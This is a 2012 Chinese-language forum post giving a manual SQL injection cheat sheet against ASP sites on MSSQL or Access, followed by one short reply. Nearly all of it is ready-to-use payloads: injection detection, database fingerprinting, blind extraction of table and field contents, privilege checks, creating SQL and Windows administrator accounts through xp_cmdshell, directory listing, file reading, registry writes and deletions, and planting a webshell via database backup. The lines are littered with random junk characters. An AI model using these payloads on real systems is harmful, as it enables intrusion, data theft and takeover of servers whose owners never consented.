找回密码
 立即注册
查看: 3071|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
手工脚本注入
( e! Y" M4 C' ~7 \8 P' E1.判断是否有注入;and 1=1 ;and 1=2 ' T1 j$ C, _, r; t& O# P) _
2 F1 A; A5 f! i, Y
2.初步判断是否是mssql ;and user>0
$ v9 k& C- i& \1 \: r$ x9 F: S+ ~6 b
* ]: [, n. e0 M8 O3.注入参数是字符'and [查询条件] and ''=' 5 h' L% m$ U* u! m* U& F

& ^  ~7 h, c) D/ h, f0 j4.搜索时没过滤参数的'and [查询条件] and '%25'=' . W4 ]6 R# j2 V! _  S9 i
4 B6 _) H5 y) G
5.判断数据库系统 & A$ ?2 o3 Z2 S4 |+ E+ A2 o
;and (select count(*) from sysobjects)>0 mssql ; N* W7 M" [! k" O
;and (select count(*) from msysobjects)>0 access
1 g. B7 v, _: a4 D
& g( J) Q. x0 p' u! C3 q$ @6.猜数据库 ;and (select Count(*) from [数据库名])>0
" S, U( S9 S$ v; b: n5 a3 S3 Q% H) P( _
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
% y4 `; ?; \9 f7 A) I; j' g7 [. q! w. _) [( _+ ~
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
* F4 o' }7 S# @" M, A" U% S; F2 _9 i3 W8 b9 U: }5 F% O( j  J
9.(1)猜字段的ascii值(access)
" `& }- n3 X+ E* b% k;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
4 `8 \, W% n  M5 ?/ [' [
' M% W9 P) l3 b) C8 e5 N/ Z. }(2)猜字段的ascii值(mssql)
; p/ K; s+ n6 F4 W;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
" a7 H5 T% N4 k" L1 x# J9 {; _" p$ g4 a' [8 s5 I
10.测试权限结构(mssql)
, m5 G" V1 G: A& b" U;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
' A! g/ [3 b# X* l;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
' `  {0 d$ s: ^;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
, M: g! @: O: L* b2 B;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
6 w+ e  g- G( S% C;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
- w- ]1 f; X1 }$ T7 N;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 9 B& n* c# n: s  \: H# M7 |
;and 1=(select IS_MEMBER('db_owner'));--
5 m/ i& q. K$ y. S7 |1 D+ _& U3 R2 l3 m# }( \" H/ L- o+ I
11.添加mssql和系统的帐户
% m% C- C, f" r, U9 n% D! S8 x;exec master.dbo.sp_addlogin username;-- 5 w+ r; [% ?4 @

2 C0 M( y, D+ d;exec master.dbo.sp_password null,username,password;-- " M: q3 Q$ d6 A& s5 L

+ r/ s2 d: B4 s. H* x5 P;exec master.dbo.sp_addsrvrolemember sysadmin username;--
( `% X7 o" j/ ~" D5 K, m1 a' a% \; W" t* X
;exec master.dbo.xp_cmdshell 'net user username password % |- Y4 u% w1 \) P) z0 C7 ?- a7 N
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
, V+ u- o( O8 l( E% u: s+ j' K
/ ?. A$ |, [* a7 @' D8 H1 J1 m;exec master.dbo.xp_cmdshell 'net user username password /add';--
" R0 o6 ?$ j3 @( E, t& w. M. b0 h, u" P8 H, c: W' a
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- # q8 f% o  d" K6 m9 w

0 k6 R9 y: z* y- R$ }/ I& U* r12.(1)遍历目录
; \- A4 U0 ^) V- H0 i& P* o3 ?
;create table dirs(paths varchar(100), id int) # L' ~" s) x$ S: u- M9 C1 i
;insert dirs exec master.dbo.xp_dirtree 'c:\' 1 g/ ~7 o0 ]! a! B2 e' J0 e! S2 ]( }
;and (select top 1 paths from dirs)>0
! l* u0 ~2 X: v( E) {' p;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 8 ^- f  U! u, k3 ]

" ~. h' I, g& j% O, `(2)遍历目录 2 g/ e' V  O: Q, S5 R: ^: _
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
3 U" s* n/ K/ k2 p) R9 q/ g1 b' [;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 . Z# i& P3 z9 A: T1 [
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 4 @6 |/ W8 Q( m3 X% t' \+ R  n' L
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
8 F) D0 S+ x$ G3 Z9 {% i1 L;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 " B5 |4 l4 m% t0 R/ a9 @

* ^5 |2 S, f9 j, ~. `, b/ ^13.mssql中的存储过程
+ U6 [) d% V, v; {5 _3 i4 C( F0 `1 j  m* C3 f; b# i
xp_regenumvalues 注册表根键, 子键 2 h1 w6 p* d, O2 N. D) ?& {
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
0 K* k. s; j$ N( _( J, @- d+ X) {0 {% h" W# {7 o7 s
xp_regread 根键,子键,键值名
6 i& b$ y; I/ J- O3 r( X7 |;exec xp_regread
. t) I) X& G3 ]6 m! i$ M7 ['HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ! R8 v, o/ U* E& H9 `

& s& _- t; n4 f7 axp_regwrite 根键,子键, 值名, 值类型, 值
% s: a, l1 H9 [- _2 v值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
( T- _" z' O' Q* S/ X;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
6 {8 C. H. f, [7 R6 ?& G4 |9 \
xp_regdeletevalue 根键,子键,值名 8 O5 ^: W' b+ u; B' j+ C

$ n: J3 Y% d& @* u1 kexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
) X' U- }3 l+ m6 N  B% z3 z1 X- l8 V' O# J6 j6 l
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 - o  q3 }) O. z. }; H2 B. z4 f) R- t
4 H2 {% ?* k! I# x  V0 _! c
14.mssql的backup创建webshell
7 t5 D  W- x" c* Quse model
6 G& T1 }# E1 T, T+ I' o) g) pcreate table cmd(str image); ( _7 \( M9 b* F$ g8 j- y: v- P$ z
insert into cmd(str) values ('');
# ~$ X3 k- h7 ^3 \backup database model to disk='c:\l.asp';
! ?& j' P9 C. z: K! J4 P$ p( a! ]$ N! i4 q- c8 z# U$ ?7 Y
15.mssql内置函数 & |6 h( N$ M( s' g5 k- T. B, r
;and (select @@version)>0 获得Windows的版本号
% S) ]7 r5 c! j8 F9 v! L;and user_name()='dbo' 判断当前系统的连接用户是不是sa
& F/ j8 b8 j9 m6 p; h. ]2 C; h;and (select user_name())>0 爆当前系统的连接用户 * J( y* |5 w) J  C
;and (select db_name())>0 得到当前连接的数据库 . q% W; S+ N. e! i4 t) ~

0 U( e9 {1 |# L6 @16.简洁的webshell
/ T- ^$ E( a( i: t' }+ a1 ?3 }# {" j+ d# y& J
use model * y/ q0 G) D9 [+ R

0 t3 h0 T) `" M) l- g0 }6 A: Zcreate table cmd(str image);
6 o- C& Q" g6 M1 T7 a1 U2 e- T  [) m0 d
insert into cmd(str) values ('');
9 t( _3 E$ ~, m3 s. A( y* Q
6 x* B% M* o  C3 A: y' K9 f# Qbackup database model to disk='g:\wwwtest\l.asp'; 3 ^( W" a5 T" x9 i

4 U' u) a& D4 J  t  m6 D3 ~# N2 `3 e
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表